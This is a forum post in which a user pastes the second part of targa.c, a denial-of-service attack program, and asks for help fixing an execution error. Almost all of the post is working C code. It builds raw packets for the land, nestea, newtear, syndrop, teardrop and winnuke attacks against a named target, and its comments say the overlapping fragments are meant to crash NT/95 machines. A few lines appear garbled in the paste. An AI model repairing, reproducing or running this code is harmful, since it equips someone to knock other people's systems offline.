LQ Newbie
Registered: Jan 2009
Posts: 21
Rep:
|
targa.c file execution error
...................................Second part of targa.c file...........
/* land(destination,port) */
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};
u_short
checksum (u_short * data, u_short length)
{
register long value;
u_short i;
for (i = 0; i < (length >> 1); i++)
value += data[i];
if ((length & 1) == 1)
value += (data[i] << 8);
value = (value & 65535) + (value >> 16);
return (~value);
}
int
land (char *land_host)
{
struct sockaddr_in sin;
struct hostent *hoste;
int sock, i;
char buffer[40];
struct iphdr *ipheader = (struct iphdr *) buffer;
struct tcphdr *tcpheader = (struct tcphdr *) (buffer + sizeof (struct iphdr)); struct pseudohdr pseudoheader;
static char *land_port = LANDPORT;
bzero (&sin, sizeof (struct sockaddr_in));
sin.sin_family = AF_INET;
if ((hoste = gethostbyname (land_host)) != NULL)
bcopy (hoste->h_addr, &sin.sin_addr, hoste->h_length);
else if ((sin.sin_addr.s_addr = inet_addr (land_host)) == -1)
{
fprintf (stderr, "unknown host %s\n", land_host);
return (-1);
}
if ((sin.sin_port = htons (atoi (land_port))) == 0)
{
fprintf (stderr, "unknown port %s\n", land_port);
return (-1);
}
if ((sock = socket (AF_INET, SOCK_RAW, 255)) == -1)
{
fprintf (stderr, "couldn't allocate raw socket\n");
return (-1);
}
bzero (&buffer, sizeof (struct iphdr) + sizeof (struct tcphdr));
ipheader->version = 4;
ipheader->ihl = sizeof (struct iphdr) / 4;
ipheader->tot_len = htons (sizeof (struct iphdr) + sizeof (struct tcphdr));
ipheader->id = htons (0xF1C);
ipheader->ttl = 255;
ipheader->protocol = TCP;
ipheader->saddr = sin.sin_addr.s_addr;
ipheader->daddr = sin.sin_addr.s_addr;
tcpheader->th_sport = sin.sin_port;
tcpheader->th_dport = sin.sin_port;
tcpheader->th_seq = htonl (0xF1C);
tcpheader->th_flags = TH_SYN;
tcpheader->th_off = sizeof (struct tcphdr) / 4;
tcpheader->th_win = htons (2048);
bzero (&pseudoheader, 12 + sizeof (struct tcphdr));
pseudoheader.saddr.s_addr = sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr = sin.sin_addr.s_addr;
pseudoheader.protocol = 6;
pseudoheader.length = htons (sizeof (struct tcphdr));
bcopy ((char *) tcpheader, (char *) &pseudoheader.tcpheader, sizeof (struct tcphdr));
tcpheader->th_sum = checksum ((u_short *) & pseudoheader, 12 + sizeof (struct
tcphdr));
for (i = 0; i < LANDREP; i++)
{
if (sendto (sock, buffer, sizeof (struct iphdr) + sizeof (struct tcphdr),
0, (struct sockaddr *) &sin, sizeof (struct sockaddr_in)) == -1)
{
fprintf (stderr, "couldn't send packet\n");
return (-1);
}
fprintf (stderr, "ESC[1;33m-ESC[0m");
}
close (sock);
return (0);
}
/* nestea(source, destination) */
u_long name_resolve (u_char *);
u_short in_cksum (u_short *, int);
void send_nes (int, u_long, u_long, u_short, u_short);
int
nestea (char *nes_host)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror ("raw socket");
exit (1);
}
if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one)) < 0)
{
perror ("IP_HDRINCL");
exit (1);
}
if (!(dst_ip = name_resolve (nes_host)))
{
fprintf (stderr, "What the hell kind of IP address is that?\n");
exit (1);
}
src_ip = rand ();
srandom ((unsigned) (time ((time_t) 0)));
src_prt = (random () % 0xffff);
dst_prt = (random () % 0xffff);
count = NESCOUNT;
addr.s_addr = src_ip;
addr.s_addr = dst_ip;
for (i = 0; i < count; i++)
{
send_nes (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf (stderr, "ESC[1;34m.ESC[0m");
usleep (500);
}
return (0);
}
void
send_nes (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
int i;
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
packet = (u_char *) malloc (IPH + UDPH + NESPADDING + 40);
p_ptr = packet;
bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING);
byte = 0x45; /* IP version and header length */
memcpy (p_ptr, &byte, sizeof (u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *) p_ptr) = FIX (IPH + UDPH + 10); /* total length */
p_ptr += 2;
*((u_short *) p_ptr) = htons (242); /* IP id */
p_ptr += 2;
*((u_short *) p_ptr) |= FIX (IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *) p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy (p_ptr + 1, &byte, sizeof (u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *) p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *) p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *) p_ptr) = htons (src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (8 + 10); /* UDP total length */
if (sendto (sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}
p_ptr = packet;
bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING);
byte = 0x45; /* IP version and header length */
memcpy (p_ptr, &byte, sizeof (u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *) p_ptr) = FIX (IPH + UDPH + MAGIC2); /* total length */
*((u_short *) p_ptr) = htons (242); /* IP id */
p_ptr += 2;
*((u_short *) p_ptr) = FIX (6); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *) p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy (p_ptr + 1, &byte, sizeof (u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *) p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *) p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *) p_ptr) = htons (src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (8 + MAGIC2); /* UDP total length */
if (sendto (sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
it (1);
}
p_ptr = packet;
bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING + 40);
byte = 0x4F; /* IP version and header length */
memcpy (p_ptr, &byte, sizeof (u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *) p_ptr) = FIX (IPH + UDPH + NESPADDING + 40);
p_ptr += 2;
*((u_short *) p_ptr) = htons (242); /* IP id */
p_ptr += 2;
*((u_short *) p_ptr) = 0 | FIX (IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *) p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy (p_ptr + 1, &byte, sizeof (u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *) p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *) p_ptr) = dst_ip; /* IP destination address */
p_ptr += 44;
*((u_short *) p_ptr) = htons (src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (8 + NESPADDING); /* UDP total length */
for (i = 0; i < NESPADDING; i++)
{
p_ptr[i++] = random () % 255;
}
if (sendto (sock, packet, IPH + UDPH + NESPADDING, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}
free (packet);
}
u_long
name_resolve (u_char * host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr (host_name)) == -1)
{
if (!(host_ent = gethostbyname (host_name)))
return (0);
bcopy (host_ent->h_addr, (char *) &addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
/* newtear(destination) */
void newt_frags (int, u_long, u_long, u_short, u_short);
int
newtear (char *newt_host)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror ("raw socket");
exit (1);
}
if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one)) < 0)
{
perror ("IP_HDRINCL");
exit (1);
}
if (!(dst_ip = name_resolve (newt_host)))
{
fprintf (stderr, "What the hell kind of IP address is that?\n");
exit (1);
}
src_ip = rand ();
srandom ((unsigned) (time ((time_t) 0)));
src_prt = (random () % 0xffff);
dst_prt = (random () % 0xffff);
count = COUNT;
addr.s_addr = src_ip;
addr.s_addr = dst_ip;
for (i = 0; i < count; i++)
{
newt_frags (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf (stderr, "ESC[1;32m#ESC[0m");
usleep (500);
}
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/
void
newt_frags (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *) malloc (IPH + UDPH + PADDING);
p_ptr = packet;
bzero ((u_char *) p_ptr, IPH + UDPH + PADDING); // Set it all to zero
byte = 0x45; /* IP version and header length */
memcpy (p_ptr, &byte, sizeof (u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *) p_ptr) = FIX (IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *) p_ptr) = htons (242); /* IP id */
*((u_short *) p_ptr) |= FIX (IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *) p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy (p_ptr + 1, &byte, sizeof (u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *) p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *) p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *) p_ptr) = htons (src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (8 + PADDING * 2); /* UDP total length *//* Increases UDP total length to 48 bytes
Which is too big! */
if (sendto (sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */ *((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *) p_ptr) = FIX (MAGIC);
if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}
free (packet);
}
/* syndrop(destination) */
u_long name_resolve (u_char *);
u_short in_cksum (u_short *, int);
void send_synd (int, u_long, u_long, u_short, u_short, u_long, u_long);
int
syndrop (char *synd_host)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
u_long s_start = 0, s_end = 0;
struct in_addr addr;
if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror ("raw socket");
exit (1);
}
if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one)) < 0)
{
perror ("IP_HDRINCL");
exit (1);
}
if (!(dst_ip = name_resolve (synd_host)))
{
fprintf (stderr, "What the hell kind of IP address is that?\n");
exit (1);
}
src_ip = rand ();
srandom ((unsigned) (time ((time_t) 0)));
src_prt = (random () % 0xffff);
dst_prt = (random () % 0xffff);
count = COUNT;
addr.s_addr = src_ip;
addr.s_addr = dst_ip;
for (i = 0; i < count; i++)
{
send_synd (rip_sock, src_ip, dst_ip, src_prt, dst_prt, s_start, s_end);
fprintf (stderr, "ESC[1;35m&ESC[0m");
usleep (500);
}
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/
void
send_synd (int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt, u_long seq1, u_long seq2)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *) malloc (IPH + UDPH + PADDING);
p_ptr = packet;
bzero ((u_char *) p_ptr, IPH + UDPH + PADDING); /* Set it all to zero */
byte = 0x45; /* IP version and header length */
memcpy (p_ptr, &byte, sizeof (u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *) p_ptr) = FIX (IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *) p_ptr) = htons (242); /* IP id */
p_ptr += 2;
*((u_short *) p_ptr) |= FIX (IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *) p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_TCP;
memcpy (p_ptr + 1, &byte, sizeof (u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *) p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *) p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *) p_ptr) = htons (src_prt); /* TCP source port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (dst_prt); /* TCP destination port */
p_ptr += 2;
*((u_long *) p_ptr) = seq1; /* TCP sequence # */
p_ptr += 4;
*((u_long *) p_ptr) = 0; /* ack */
p_ptr += 4;
*((u_short *) p_ptr) = htons (8 + PADDING * 2); /* TCP data offset */
/* Increases TCP total length to 48 bytes Which is too big! */
p_ptr += 2;
*((u_char *) p_ptr) = TH_SYN; /* flags: mark SYN */
p_ptr += 1;
*((u_short *) p_ptr) = seq2 - seq1; /* window */
*((u_short *) p_ptr) = 0x44; /* checksum : this is magic value for NT, W95.
dissasemble M$ C++ to see why, if you have time */
*((u_short *) p_ptr) = 0; /* urgent */
if (sendto (sock, packet, IPH + TCPH + PADDING, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */ *((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *) p_ptr) = FIX (MAGIC);
p_ptr = &packet[24]; /* hop in to the sequence again... */
*((u_long *) p_ptr) = seq2; /* TCP sequence # */
if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin, sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}free (packet);
}
/* teardrop(destination) */
u_long name_resolve (u_char *);
u_short in_cksum (u_short *, int);
void tear_frags (int, u_long, u_long, u_short, u_short);
int
teardrop (char *tear_host)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror ("raw socket");
exit (1);
}
if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one)) < 0)
{
perror ("IP_HDRINCL");
exit (1);
}
if (!(dst_ip = name_resolve (tear_host)))
{
fprintf (stderr, "What the hell kind of IP address is that?\n");
exit (1);
}
src_ip = rand ();
srandom ((unsigned) (time ((time_t) 0)));
src_prt = (random () % 0xffff);
dst_prt = (random () % 0xffff);
count = COUNT;
addr.s_addr = src_ip;
addr.s_addr = dst_ip;
for (i = 0; i < count; i++)
{
tear_frags (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf (stderr, "ESC[1;34m%%ESC[0m");
usleep (500);
}
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/
void
tear_frags (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *) malloc (IPH + UDPH + TPADDING);
p_ptr = packet;
bzero ((u_char *) p_ptr, IPH + UDPH + TPADDING);
byte = 0x45; /* IP version and header length */
memcpy (p_ptr, &byte, sizeof (u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *) p_ptr) = FIX (IPH + UDPH + TPADDING); /* total length */
p_ptr += 2;
*((u_short *) p_ptr) = htons (242); /* IP id */
p_ptr += 2;
*((u_short *) p_ptr) |= FIX (IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *) p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy (p_ptr + 1, &byte, sizeof (u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *) p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *) p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *) p_ptr) = htons (src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (8 + TPADDING); /* UDP total length */
if (sendto (sock, packet, IPH + UDPH + TPADDING, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */ *((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *) p_ptr) = FIX (MAGIC);
if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}
free (packet);
}
/* winnuke(destination) */
int winnuke_s;
char *str = "bill_loves_you!";
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
int
winnuke_sub (int sock, char *server, int port)
{
struct sockaddr_in blah;
struct hostent *he;
bzero ((char *) &blah, sizeof (blah));
blah.sin_family = AF_INET;
blah.sin_addr.s_addr = inet_addr (server);
blah.sin_port = htons (port);
if ((he = gethostbyname (server)) != NULL)
{
bcopy (he->h_addr, (char *) &blah.sin_addr, he->h_length);
}
else
{
if ((blah.sin_addr.s_addr = inet_addr (server)) < 0)
{
perror ("gethostbyname()");
return (-3);
}
}
if (connect (sock, (struct sockaddr *) &blah, 16) == -1)
{
perror ("connect()");
close (sock);
return (-4);
}
return;
}
int
winnuke (char *winnuke_host)
{
int wncounter;
for (wncounter = 0; wncounter < WNUKEREP; wncounter++)
{
if ((winnuke_s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
{
perror ("socket()");
exit (-1);
}
winnuke_sub (winnuke_s, winnuke_host, WNUKEPORT);
send (winnuke_s, str, strlen (str), MSG_OOB);
fprintf (stderr, "ESC[1;37m*ESC[0m");
usleep (500);
close (winnuke_s);
}
return;
}
/* EOF */
.........................................................................
Please help me with solution
With Thanks and Regards
|